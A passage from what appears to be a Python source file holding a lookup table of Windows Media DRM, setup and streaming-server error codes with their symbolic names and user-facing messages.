(\"NS_E_DRM_REPORT_ERROR\", \"A problem has occurred in the Digital Rights Management component. Contact product support for this application.\"),\n        0xC00D273C: (\"NS_E_DRM_GET_LICENSESTRING_ERROR\", \"License storage is not working. Contact Microsoft product support.\"),\n        0xC00D273D: (\"NS_E_DRM_GET_CONTENTSTRING_ERROR\", \"The media file is corrupted. Contact the content provider to get a new file.\"),\n        0xC00D273E: (\"NS_E_DRM_MONITOR_ERROR\", \"A problem has occurred in the Digital Rights Management component. Try again later.\"),\n        0xC00D273F: (\"NS_E_DRM_UNABLE_TO_SET_PARAMETER\", \"The application has made an invalid call to the Digital Rights Management component. Contact product support for this application.\"),\n        0xC00D2740: (\"NS_E_DRM_INVALID_APPDATA\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2741: (\"NS_E_DRM_INVALID_APPDATA_VERSION\", \"A problem has occurred in the Digital Rights Management component. Contact product support for this application.\"),\n        0xC00D2742: (\"NS_E_DRM_BACKUP_EXISTS\", \"Licenses are already backed up in this location.\"),\n        0xC00D2743: (\"NS_E_DRM_BACKUP_CORRUPT\", \"One or more backed-up licenses are missing or corrupt.\"),\n        0xC00D2744: (\"NS_E_DRM_BACKUPRESTORE_BUSY\", \"You cannot begin a new backup process until the current process has been completed.\"),\n        0xC00D2745: (\"NS_E_BACKUP_RESTORE_BAD_DATA\", \"Bad Data sent to Backup-Restore.\"),\n        0xC00D2748: (\"NS_E_DRM_LICENSE_UNUSABLE\", \"The license is invalid. Contact the content provider for further assistance.\"),\n        0xC00D2749: (\"NS_E_DRM_INVALID_PROPERTY\", \"A required property was not set by the application. Contact product support for this application.\"),\n        0xC00D274A: (\"NS_E_DRM_SECURE_STORE_NOT_FOUND\", \"A problem has occurred in the Digital Rights Management component of this application. Try to acquire a license again.\"),\n        0xC00D274B: (\"NS_E_DRM_CACHED_CONTENT_ERROR\", \"A license cannot be found for this media file. Use License Management to transfer a license for this file from the original computer, or acquire a new license.\"),\n        0xC00D274C: (\"NS_E_DRM_INDIVIDUALIZATION_INCOMPLETE\", \"A problem occurred during the security upgrade. Try again later.\"),\n        0xC00D274D: (\"NS_E_DRM_DRIVER_AUTH_FAILURE\", \"Certified driver components are required to play this media file. Contact Windows Update to see whether updated drivers are available for your hardware.\"),\n        0xC00D274E: (\"NS_E_DRM_NEED_UPGRADE_MSSAP\", \"One or more of the Secure Audio Path components were not found or an entry point in those components was not found.\"),\n        0xC00D274F: (\"NS_E_DRM_REOPEN_CONTENT\", \"Status message: Reopen the file.\"),\n        0xC00D2750: (\"NS_E_DRM_DRIVER_DIGIOUT_FAILURE\", \"Certain driver functionality is required to play this media file. Contact Windows Update to see whether updated drivers are available for your hardware.\"),\n        0xC00D2751: (\"NS_E_DRM_INVALID_SECURESTORE_PASSWORD\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2752: (\"NS_E_DRM_APPCERT_REVOKED\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2753: (\"NS_E_DRM_RESTORE_FRAUD\", \"You cannot restore your license(s).\"),\n        0xC00D2754: (\"NS_E_DRM_HARDWARE_INCONSISTENT\", \"The licenses for your media files are corrupted. Contact Microsoft product support.\"),\n        0xC00D2755: (\"NS_E_DRM_SDMI_TRIGGER\", \"To transfer this media file, you must upgrade the application.\"),\n        0xC00D2756: (\"NS_E_DRM_SDMI_NOMORECOPIES\", \"You cannot make any more copies of this media file.\"),\n        0xC00D2757: (\"NS_E_DRM_UNABLE_TO_CREATE_HEADER_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2758: (\"NS_E_DRM_UNABLE_TO_CREATE_KEYS_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2759: (\"NS_E_DRM_LICENSE_NOTACQUIRED\", \"Unable to obtain license.\"),\n        0xC00D275A: (\"NS_E_DRM_UNABLE_TO_CREATE_CODING_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D275B: (\"NS_E_DRM_UNABLE_TO_CREATE_STATE_DATA_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D275C: (\"NS_E_DRM_BUFFER_TOO_SMALL\", \"The buffer supplied is not sufficient.\"),\n        0xC00D275D: (\"NS_E_DRM_UNSUPPORTED_PROPERTY\", \"The property requested is not supported.\"),\n        0xC00D275E: (\"NS_E_DRM_ERROR_BAD_NET_RESP\", \"The specified server cannot perform the requested operation.\"),\n        0xC00D275F: (\"NS_E_DRM_STORE_NOTALLSTORED\", \"Some of the licenses could not be stored.\"),\n        0xC00D2760: (\"NS_E_DRM_SECURITY_COMPONENT_SIGNATURE_INVALID\", \"The Digital Rights Management security upgrade component could not be validated. Contact Microsoft product support.\"),\n        0xC00D2761: (\"NS_E_DRM_INVALID_DATA\", \"Invalid or corrupt data was encountered.\"),\n        0xC00D2762: (\"NS_E_DRM_POLICY_DISABLE_ONLINE\", \"The Windows Media Digital Rights Management system cannot perform the requested action because your computer or network administrator has enabled the group policy Prevent Windows Media DRM Internet Access. For assistance, contact your administrator.\"),\n        0xC00D2763: (\"NS_E_DRM_UNABLE_TO_CREATE_AUTHENTICATION_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2764: (\"NS_E_DRM_NOT_CONFIGURED\", \"Not all of the necessary properties for DRM have been set.\"),\n        0xC00D2765: (\"NS_E_DRM_DEVICE_ACTIVATION_CANCELED\", \"The portable device does not have the security required to copy protected files to it. To obtain the additional security, try to copy the file to your portable device again. When a message appears, click OK.\"),\n        0xC00D2766: (\"NS_E_BACKUP_RESTORE_TOO_MANY_RESETS\", \"Too many resets in Backup-Restore.\"),\n        0xC00D2767: (\"NS_E_DRM_DEBUGGING_NOT_ALLOWED\", \"Running this process under a debugger while using DRM content is not allowed.\"),\n        0xC00D2768: (\"NS_E_DRM_OPERATION_CANCELED\", \"The user canceled the DRM operation.\"),\n        0xC00D2769: (\"NS_E_DRM_RESTRICTIONS_NOT_RETRIEVED\", \"The license you are using has associated output restrictions. This license is unusable until these restrictions are queried.\"),\n        0xC00D276A: (\"NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D276B: (\"NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_BURN_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D276C: (\"NS_E_DRM_UNABLE_TO_CREATE_DEVICE_REGISTRATION_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D276D: (\"NS_E_DRM_UNABLE_TO_CREATE_METERING_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2770: (\"NS_E_DRM_TRACK_EXCEEDED_PLAYLIST_RESTICTION\", \"The specified track has exceeded it's specified playlist burn limit in this playlist.\"),\n        0xC00D2771: (\"NS_E_DRM_TRACK_EXCEEDED_TRACKBURN_RESTRICTION\", \"The specified track has exceeded it's track burn limit.\"),\n        0xC00D2772: (\"NS_E_DRM_UNABLE_TO_GET_DEVICE_CERT\", \"A problem has occurred in obtaining the device's certificate. Contact Microsoft product support.\"),\n        0xC00D2773: (\"NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK\", \"A problem has occurred in obtaining the device's secure clock. Contact Microsoft product support.\"),\n        0xC00D2774: (\"NS_E_DRM_UNABLE_TO_SET_SECURE_CLOCK\", \"A problem has occurred in setting the device's secure clock. Contact Microsoft product support.\"),\n        0xC00D2775: (\"NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK_FROM_SERVER\", \"A problem has occurred in obtaining the secure clock from server. Contact Microsoft product support.\"),\n        0xC00D2776: (\"NS_E_DRM_POLICY_METERING_DISABLED\", \"This content requires the metering policy to be enabled.\"),\n        0xC00D2777: (\"NS_E_DRM_TRANSFER_CHAINED_LICENSES_UNSUPPORTED\", \"Transfer of chained licenses unsupported.\"),\n        0xC00D2778: (\"NS_E_DRM_SDK_VERSIONMISMATCH\", \"The Digital Rights Management component is not installed properly. Reinstall the Player.\"),\n        0xC00D2779: (\"NS_E_DRM_LIC_NEEDS_DEVICE_CLOCK_SET\", \"The file could not be transferred because the device clock is not set.\"),\n        0xC00D277A: (\"NS_E_LICENSE_HEADER_MISSING_URL\", \"The content header is missing an acquisition URL.\"),\n        0xC00D277B: (\"NS_E_DEVICE_NOT_WMDRM_DEVICE\", \"The current attached device does not support WMDRM.\"),\n        0xC00D277C: (\"NS_E_DRM_INVALID_APPCERT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D277D: (\"NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_PETITION\", \"The client application has been forcefully terminated during a DRM petition.\"),\n        0xC00D277E: (\"NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_CHALLENGE\", \"The client application has been forcefully terminated during a DRM challenge.\"),\n        0xC00D277F: (\"NS_E_DRM_CHECKPOINT_FAILED\", \"Secure storage protection error. Restore your licenses from a previous backup and try again.\"),\n        0xC00D2780: (\"NS_E_DRM_BB_UNABLE_TO_INITIALIZE\", \"A problem has occurred in the Digital Rights Management root of trust. Contact Microsoft product support.\"),\n        0xC00D2781: (\"NS_E_DRM_UNABLE_TO_LOAD_HARDWARE_ID\", \"A problem has occurred in retrieving the Digital Rights Management machine identification. Contact Microsoft product support.\"),\n        0xC00D2782: (\"NS_E_DRM_UNABLE_TO_OPEN_DATA_STORE\", \"A problem has occurred in opening the Digital Rights Management data storage file. Contact Microsoft product.\"),\n        0xC00D2783: (\"NS_E_DRM_DATASTORE_CORRUPT\", \"The Digital Rights Management data storage is not functioning properly. Contact Microsoft product support.\"),\n        0xC00D2784: (\"NS_E_DRM_UNABLE_TO_CREATE_INMEMORYSTORE_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2785: (\"NS_E_DRM_STUBLIB_REQUIRED\", \"A secured library is required to access the requested functionality.\"),\n        0xC00D2786: (\"NS_E_DRM_UNABLE_TO_CREATE_CERTIFICATE_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2787: (\"NS_E_DRM_MIGRATION_TARGET_NOT_ONLINE\", \"A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support.\"),\n        0xC00D2788: (\"NS_E_DRM_INVALID_MIGRATION_IMAGE\", \"A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support.\"),\n        0xC00D2789: (\"NS_E_DRM_MIGRATION_TARGET_STATES_CORRUPTED\", \"A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support.\"),\n        0xC00D278A: (\"NS_E_DRM_MIGRATION_IMPORTER_NOT_AVAILABLE\", \"A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support.\"),\n        0xC00D278B: (\"NS_DRM_E_MIGRATION_UPGRADE_WITH_DIFF_SID\", \"A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support.\"),\n        0xC00D278C: (\"NS_DRM_E_MIGRATION_SOURCE_MACHINE_IN_USE\", \"The Digital Rights Management component is in use during license migration. Contact Microsoft product support.\"),\n        0xC00D278D: (\"NS_DRM_E_MIGRATION_TARGET_MACHINE_LESS_THAN_LH\", \"Licenses are being migrated to a machine running XP or downlevel OS. This operation can only be performed on Windows Vista or a later OS. Contact Microsoft product support.\"),\n        0xC00D278E: (\"NS_DRM_E_MIGRATION_IMAGE_ALREADY_EXISTS\", \"Migration Image already exists. Contact Microsoft product support.\"),\n        0xC00D278F: (\"NS_E_DRM_HARDWAREID_MISMATCH\", \"The requested action cannot be performed because a hardware configuration change has been detected by the Windows Media Digital Rights Management (DRM) components on your computer.\"),\n        0xC00D2790: (\"NS_E_INVALID_DRMV2CLT_STUBLIB\", \"The wrong stublib has been linked to an application or DLL using drmv2clt.dll.\"),\n        0xC00D2791: (\"NS_E_DRM_MIGRATION_INVALID_LEGACYV2_DATA\", \"The legacy V2 data being imported is invalid.\"),\n        0xC00D2792: (\"NS_E_DRM_MIGRATION_LICENSE_ALREADY_EXISTS\", \"The license being imported already exists.\"),\n        0xC00D2793: (\"NS_E_DRM_MIGRATION_INVALID_LEGACYV2_SST_PASSWORD\", \"The password of the Legacy V2 SST entry being imported is incorrect.\"),\n        0xC00D2794: (\"NS_E_DRM_MIGRATION_NOT_SUPPORTED\", \"Migration is not supported by the plugin.\"),\n        0xC00D2795: (\"NS_E_DRM_UNABLE_TO_CREATE_MIGRATION_IMPORTER_OBJECT\", \"A migration importer cannot be created for this media file. Reinstall the application.\"),\n        0xC00D2796: (\"NS_E_DRM_CHECKPOINT_MISMATCH\", \"The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer.\"),\n        0xC00D2797: (\"NS_E_DRM_CHECKPOINT_CORRUPT\", \"The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer.\"),\n        0xC00D2798: (\"NS_E_REG_FLUSH_FAILURE\", \"The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer.\"),\n        0xC00D2799: (\"NS_E_HDS_KEY_MISMATCH\", \"The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer.\"),\n        0xC00D279A: (\"NS_E_DRM_MIGRATION_OPERATION_CANCELLED\", \"Migration was canceled by the user.\"),\n        0xC00D279B: (\"NS_E_DRM_MIGRATION_OBJECT_IN_USE\", \"Migration object is already in use and cannot be called until the current operation completes.\"),\n        0xC00D279C: (\"NS_E_DRM_MALFORMED_CONTENT_HEADER\", \"The content header does not comply with DRM requirements and cannot be used.\"),\n        0xC00D27D8: (\"NS_E_DRM_LICENSE_EXPIRED\", \"The license for this file has expired and is no longer valid. Contact your content provider for further assistance.\"),\n        0xC00D27D9: (\"NS_E_DRM_LICENSE_NOTENABLED\", \"The license for this file is not valid yet, but will be at a future date.\"),\n        0xC00D27DA: (\"NS_E_DRM_LICENSE_APPSECLOW\", \"The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player.\"),\n        0xC00D27DB: (\"NS_E_DRM_STORE_NEEDINDI\", \"The license cannot be stored as it requires security upgrade of Digital Rights Management component.\"),\n        0xC00D27DC: (\"NS_E_DRM_STORE_NOTALLOWED\", \"Your machine does not meet the requirements for storing the license.\"),\n        0xC00D27DD: (\"NS_E_DRM_LICENSE_APP_NOTALLOWED\", \"The license for this file requires an upgraded version of your player or a different player.\"),\n        0xC00D27DF: (\"NS_E_DRM_LICENSE_CERT_EXPIRED\", \"The license server's certificate expired. Make sure your system clock is set correctly. Contact your content provider for further assistance.\"),\n        0xC00D27E0: (\"NS_E_DRM_LICENSE_SECLOW\", \"The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player.\"),\n        0xC00D27E1: (\"NS_E_DRM_LICENSE_CONTENT_REVOKED\", \"The content owner for the license you just acquired is no longer supporting their content. Contact the content owner for a newer version of the content.\"),\n        0xC00D27E2: (\"NS_E_DRM_DEVICE_NOT_REGISTERED\", \"The content owner for the license you just acquired requires your device to register to the current machine.\"),\n        0xC00D280A: (\"NS_E_DRM_LICENSE_NOSAP\", \"The license for this file requires a feature that is not supported in your current player or operating system. You can try with newer version of your current player or contact your content provider for further assistance.\"),\n        0xC00D280B: (\"NS_E_DRM_LICENSE_NOSVP\", \"The license for this file requires a feature that is not supported in your current player or operating system. You can try with newer version of your current player or contact your content provider for further assistance.\"),\n        0xC00D280C: (\"NS_E_DRM_LICENSE_NOWDM\", \"The license for this file requires Windows Driver Model (WDM) audio drivers. Contact your sound card manufacturer for further assistance.\"),\n        0xC00D280D: (\"NS_E_DRM_LICENSE_NOTRUSTEDCODEC\", \"The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player.\"),\n        0xC00D280E: (\"NS_E_DRM_SOURCEID_NOT_SUPPORTED\", \"The license for this file is not supported by your current player. You can try with newer version of your current player or contact your content provider for further assistance.\"),\n        0xC00D283D: (\"NS_E_DRM_NEEDS_UPGRADE_TEMPFILE\", \"An updated version of your media player is required to play the selected content.\"),\n        0xC00D283E: (\"NS_E_DRM_NEED_UPGRADE_PD\", \"A new version of the Digital Rights Management component is required. Contact product support for this application to get the latest version.\"),\n        0xC00D283F: (\"NS_E_DRM_SIGNATURE_FAILURE\", \"Failed to either create or verify the content header.\"),\n        0xC00D2840: (\"NS_E_DRM_LICENSE_SERVER_INFO_MISSING\", \"Could not read the necessary information from the system registry.\"),\n        0xC00D2841: (\"NS_E_DRM_BUSY\", \"The DRM subsystem is currently locked by another application or user. Try again later.\"),\n        0xC00D2842: (\"NS_E_DRM_PD_TOO_MANY_DEVICES\", \"There are too many target devices registered on the portable media.\"),\n        0xC00D2843: (\"NS_E_DRM_INDIV_FRAUD\", \"The security upgrade cannot be completed because the allowed number of daily upgrades has been exceeded. Try again tomorrow.\"),\n        0xC00D2844: (\"NS_E_DRM_INDIV_NO_CABS\", \"The security upgrade cannot be completed because the server is unable to perform the operation. Try again later.\"),\n        0xC00D2845: (\"NS_E_DRM_INDIV_SERVICE_UNAVAILABLE\", \"The security upgrade cannot be performed because the server is not available. Try again later.\"),\n        0xC00D2846: (\"NS_E_DRM_RESTORE_SERVICE_UNAVAILABLE\", \"Windows Media Player cannot restore your licenses because the server is not available. Try again later.\"),\n        0xC00D2847: (\"NS_E_DRM_CLIENT_CODE_EXPIRED\", \"Windows Media Player cannot play the protected file. Verify that your computer's date is set correctly. If it is correct, on the Help menu, click Check for Player Updates to install the latest version of the Player.\"),\n        0xC00D2848: (\"NS_E_DRM_NO_UPLINK_LICENSE\", \"The chained license cannot be created because the referenced uplink license does not exist.\"),\n        0xC00D2849: (\"NS_E_DRM_INVALID_KID\", \"The specified KID is invalid.\"),\n        0xC00D284A: (\"NS_E_DRM_LICENSE_INITIALIZATION_ERROR\", \"License initialization did not work. Contact Microsoft product support.\"),\n        0xC00D284C: (\"NS_E_DRM_CHAIN_TOO_LONG\", \"The uplink license of a chained license cannot itself be a chained license.\"),\n        0xC00D284D: (\"NS_E_DRM_UNSUPPORTED_ALGORITHM\", \"The specified encryption algorithm is unsupported.\"),\n        0xC00D284E: (\"NS_E_DRM_LICENSE_DELETION_ERROR\", \"License deletion did not work. Contact Microsoft product support.\"),\n        0xC00D28A0: (\"NS_E_DRM_INVALID_CERTIFICATE\", \"The client's certificate is corrupted or the signature cannot be verified.\"),\n        0xC00D28A1: (\"NS_E_DRM_CERTIFICATE_REVOKED\", \"The client's certificate has been revoked.\"),\n        0xC00D28A2: (\"NS_E_DRM_LICENSE_UNAVAILABLE\", \"There is no license available for the requested action.\"),\n        0xC00D28A3: (\"NS_E_DRM_DEVICE_LIMIT_REACHED\", \"The maximum number of devices in use has been reached. Unable to open additional devices.\"),\n        0xC00D28A4: (\"NS_E_DRM_UNABLE_TO_VERIFY_PROXIMITY\", \"The proximity detection procedure could not confirm that the receiver is near the transmitter in the network.\"),\n        0xC00D28A5: (\"NS_E_DRM_MUST_REGISTER\", \"The client must be registered before executing the intended operation.\"),\n        0xC00D28A6: (\"NS_E_DRM_MUST_APPROVE\", \"The client must be approved before executing the intended operation.\"),\n        0xC00D28A7: (\"NS_E_DRM_MUST_REVALIDATE\", \"The client must be revalidated before executing the intended operation.\"),\n        0xC00D28A8: (\"NS_E_DRM_INVALID_PROXIMITY_RESPONSE\", \"The response to the proximity detection challenge is invalid.\"),\n        0xC00D28A9: (\"NS_E_DRM_INVALID_SESSION\", \"The requested session is invalid.\"),\n        0xC00D28AA: (\"NS_E_DRM_DEVICE_NOT_OPEN\", \"The device must be opened before it can be used to receive content.\"),\n        0xC00D28AB: (\"NS_E_DRM_DEVICE_ALREADY_REGISTERED\", \"Device registration failed because the device is already registered.\"),\n        0xC00D28AC: (\"NS_E_DRM_UNSUPPORTED_PROTOCOL_VERSION\", \"Unsupported WMDRM-ND protocol version.\"),\n        0xC00D28AD: (\"NS_E_DRM_UNSUPPORTED_ACTION\", \"The requested action is not supported.\"),\n        0xC00D28AE: (\"NS_E_DRM_CERTIFICATE_SECURITY_LEVEL_INADEQUATE\", \"The certificate does not have an adequate security level for the requested action.\"),\n        0xC00D28AF: (\"NS_E_DRM_UNABLE_TO_OPEN_PORT\", \"Unable to open the specified port for receiving Proximity messages.\"),\n        0xC00D28B0: (\"NS_E_DRM_BAD_REQUEST\", \"The message format is invalid.\"),\n        0xC00D28B1: (\"NS_E_DRM_INVALID_CRL\", \"The Certificate Revocation List is invalid or corrupted.\"),\n        0xC00D28B2: (\"NS_E_DRM_ATTRIBUTE_TOO_LONG\", \"The length of the attribute name or value is too long.\"),\n        0xC00D28B3: (\"NS_E_DRM_EXPIRED_LICENSEBLOB\", \"The license blob passed in the cardea request is expired.\"),\n        0xC00D28B4: (\"NS_E_DRM_INVALID_LICENSEBLOB\", \"The license blob passed in the cardea request is invalid. Contact Microsoft product support.\"),\n        0xC00D28B5: (\"NS_E_DRM_INCLUSION_LIST_REQUIRED\", \"The requested operation cannot be performed because the license does not contain an inclusion list.\"),\n        0xC00D28B6: (\"NS_E_DRM_DRMV2CLT_REVOKED\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D28B7: (\"NS_E_DRM_RIV_TOO_SMALL\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2904: (\"NS_E_OUTPUT_PROTECTION_LEVEL_UNSUPPORTED\", \"Windows Media Player does not support the level of output protection required by the content.\"),\n        0xC00D2905: (\"NS_E_COMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED\", \"Windows Media Player does not support the level of protection required for compressed digital video.\"),\n        0xC00D2906: (\"NS_E_UNCOMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED\", \"Windows Media Player does not support the level of protection required for uncompressed digital video.\"),\n        0xC00D2907: (\"NS_E_ANALOG_VIDEO_PROTECTION_LEVEL_UNSUPPORTED\", \"Windows Media Player does not support the level of protection required for analog video.\"),\n        0xC00D2908: (\"NS_E_COMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED\", \"Windows Media Player does not support the level of protection required for compressed digital audio.\"),\n        0xC00D2909: (\"NS_E_UNCOMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED\", \"Windows Media Player does not support the level of protection required for uncompressed digital audio.\"),\n        0xC00D290A: (\"NS_E_OUTPUT_PROTECTION_SCHEME_UNSUPPORTED\", \"Windows Media Player does not support the scheme of output protection required by the content.\"),\n        0xC00D2AFA: (\"NS_E_REBOOT_RECOMMENDED\", \"Installation was not successful and some file cleanup is not complete. For best results, restart your computer.\"),\n        0xC00D2AFB: (\"NS_E_REBOOT_REQUIRED\", \"Installation was not successful. To continue, you must restart your computer.\"),\n        0xC00D2AFC: (\"NS_E_SETUP_INCOMPLETE\", \"Installation was not successful.\"),\n        0xC00D2AFD: (\"NS_E_SETUP_DRM_MIGRATION_FAILED\", \"Setup cannot migrate the Windows Media Digital Rights Management (DRM) components.\"),\n        0xC00D2AFE: (\"NS_E_SETUP_IGNORABLE_FAILURE\", \"Some skin or playlist components cannot be installed.\"),\n        0xC00D2AFF: (\"NS_E_SETUP_DRM_MIGRATION_FAILED_AND_IGNORABLE_FAILURE\", \"Setup cannot migrate the Windows Media Digital Rights Management (DRM) components. In addition, some skin or playlist components cannot be installed.\"),\n        0xC00D2B00: (\"NS_E_SETUP_BLOCKED\", \"Installation is blocked because your computer does not meet one or more of the setup requirements.\"),\n        0xC00D2EE0: (\"NS_E_UNKNOWN_PROTOCOL\", \"The specified protocol is not supported.\"),\n        0xC00D2EE1: (\"NS_E_REDIRECT_TO_PROXY\", \"The client is redirected to a proxy server.\"),\n        0xC00D2EE2: (\"NS_E_INTERNAL_SERVER_ERROR\", \"The server encountered an unexpected condition which prevented it from fulfilling the request.\"),\n        0xC00D2EE3: (\"NS_E_BAD_REQUEST\", \"The request could not be understood by the server.\"),\n        0xC00D2EE4: (\"NS_E_ERROR_FROM_PROXY\", \"The proxy experienced an error while attempting to contact the media server.\"),\n        0xC00D2EE5: (\"NS_E_PROXY_TIMEOUT\", \"The proxy did not receive a timely response while attempting to contact the media server.\"),\n        0xC00D2EE6: (\"NS_E_SERVER_UNAVAILABLE\", \"The server is currently unable to handle the request due to a temporary overloading or maintenance of the server.\"),\n        0xC00D2EE7: (\"NS_E_REFUSED_BY_SERVER\", \"The server is refusing to fulfill the requested operation.\"),\n        0xC00D2EE8: (\"NS_E_INCOMPATIBLE_SERVER\", \"The server is not a compatible streaming media server.\"),\n        0xC00D2EE9: (\"NS_E_MULTICAST_DISABLED\", \"The content cannot be streamed because the Multicast protocol has been disabled.\"),\n        0xC00D2EEA: (\"NS_E_INVALID_REDIRECT\", \"The server redirected the player to an invalid location.\"),\n        0xC00D2EEB: (\"NS_E_ALL_PROTOCOLS_DISABLED\", \"The content cannot be streamed because all protocols have been disabled.\"),\n        0xC00D2EEC: (\"NS_E_MSBD_NO_LONGER_SUPPORTED\", \"The MSBD protocol is no longer supported. Please use HTTP to connect to the Windows Media stream.\"),\n        0xC00D2EED: (\"NS_E_PROXY_NOT_FOUND\", \"The proxy server could not be located. Please check your proxy server configuration.\"),\n        0xC00D2EEE: (\"NS_E_CANNOT_CONNECT_TO_PROXY\", \"Unable to establish a connection to the proxy server. Please check your proxy server configuration.\"),\n        0xC00D2EEF: (\"NS_E_SERVER_DNS_TIMEOUT\", \"Unable to locate the media server. The operation timed out.\"),\n        0xC00D2EF0: (\"NS_E_PROXY_DNS_TIMEOUT\", \"Unable to locate the proxy server. The operation timed out.\"),\n        0xC00D2EF1: (\"NS_E_CLOSED_ON_SUSPEND\", \"Media closed because Windows was shut down.\"),\n        0xC00D2EF2: (\"NS_E_CANNOT_READ_PLAYLIST_FROM_MEDIASERVER\", \"Unable to read the contents of a playlist file from a media server.\"),\n        0xC00D2EF3: (\"NS_E_SESSION_NOT_FOUND\", \"Session not found.\"),\n        0xC00D2EF4: (\"NS_E_REQUIRE_STREAMING_CLIENT\", \"Content requires a streaming media client.\"),\n        0xC00D2EF5: (\"NS_E_PLAYLIST_ENTRY_HAS_CHANGED\", \"A command applies to a previous playlist entry.\"),\n        0xC00D2EF6: (\"NS_E_PROXY_ACCESSDENIED\", \"The proxy server is denying access. The username and/or password might be incorrect.\"),\n        0xC00D2EF7: (\"NS_E_PROXY_SOURCE_ACCESSDENIED\", \"The proxy could not provide valid authentication credentials to the media server.\"),\n        0xC00D2EF8: (\"NS_E_NETWORK_SINK_WRITE\", \"The network sink failed to write data to the network.\"),\n        0xC00D2EF9: (\"NS_E_FIREWALL\", \"Packets are not being received from the server. The packets might be blocked by a filtering device, such as a network firewall.\"),\n        0xC00D2EFA: (\"NS_E_MMS_NOT_SUPPORTED\", \"The MMS protocol is not supported. Please use HTTP or RTSP to connect to the Windows Media stream.\"),\n        0xC00D2EFB: (\"NS_E_SERVER_ACCESSDENIED\", \"The Windows Media server is denying access. The username and/or password might be incorrect.\"),\n        0xC00D2EFC: (\"NS_E_RESOURCE_GONE\", \"The Publishing Point or file on the Windows Media Server is no longer available.\"),\n        0xC00D2EFD: (\"NS_E_NO_EXISTING_PACKETIZER\", \"There is no existing packetizer plugin for a stream.\"),\n        0xC00D2EFE: (\"NS_E_BAD_SYNTAX_IN_SERVER_RESPONSE\", \"The response from the media server could not be understood. This might be caused by an incompatible proxy server or media server.\"),\n        0xC00D2F00: (\"NS_E_RESET_SOCKET_CONNECTION\", \"The Windows Media Server reset the network connection.\"),\n        0xC00D2F02: (\"NS_E_TOO_MANY_HOPS\", \"The request could not reach the media server (too many hops).\"),\n        0xC00D2F05: (\"NS_E_TOO_MUCH_DATA_FROM_SERVER\", \"The server is sending too much data. The connection has been terminated.\"),\n        0xC00D2F06: (\"NS_E_CONNECT_TIMEOUT\", \"It was not possible to establish a connection to the media server in a timely manner. The media server may be down for maintenance, or it may be necessary to use a proxy server to access this media server.\"),\n        0xC00D2F07: (\"NS_E_PROXY_CONNECT_TIMEOUT\", \"It was not possible to establish a connection to the proxy server in a timely manner. Please check your proxy server configuration.\"),\n        0xC00D2F08: (\"NS_E_SESSION_INVALID\", \"Session not found.\"),\n        0xC00D2F0A: (\"NS_E_PACKETSINK_UNKNOWN_FEC_STREAM\", \"Unknown packet sink stream.\"),\n        0xC00D2F0B: (\"NS_E_PUSH_CANNOTCONNECT\", \"Unable to establish a connection to the server. Ensure Windows Media Services is started and the HTTP Server control protocol is properly enabled.\"),\n        0xC00D2F0C: (\"NS_E_INCOMPATIBLE_PUSH_SERVER\", \"The Server service that received the HTTP push request is not a compatible version of Windows Media Services (WMS). This error may indicate the push request was received by IIS instead of WMS. Ensure WMS is started and has the HTTP Server control protocol properly enabled and try again.\"),\n        0xC00D32C8: (\"NS_E_END_OF_PLAYLIST\", \"The playlist has reached its end.\"),\n        0xC00D32C9: (\"NS_E_USE_FILE_SOURCE\", \"Use file source.\"),\n        0xC00D32CA: (\"NS_E_PROPERTY_NOT_FOUND\", \"The property was not found.\"),\n        0xC00D32CC: (\"NS_E_PROPERTY_READ_ONLY\", \"The property is read only.\"),\n        0xC00D32CD: (\"NS_E_TABLE_KEY_NOT_FOUND\", \"The table key was not found.\"),\n        0xC00D32CF: (\"NS_E_INVALID_QUERY_OPERATOR\", \"Invalid query operator.\"),\n        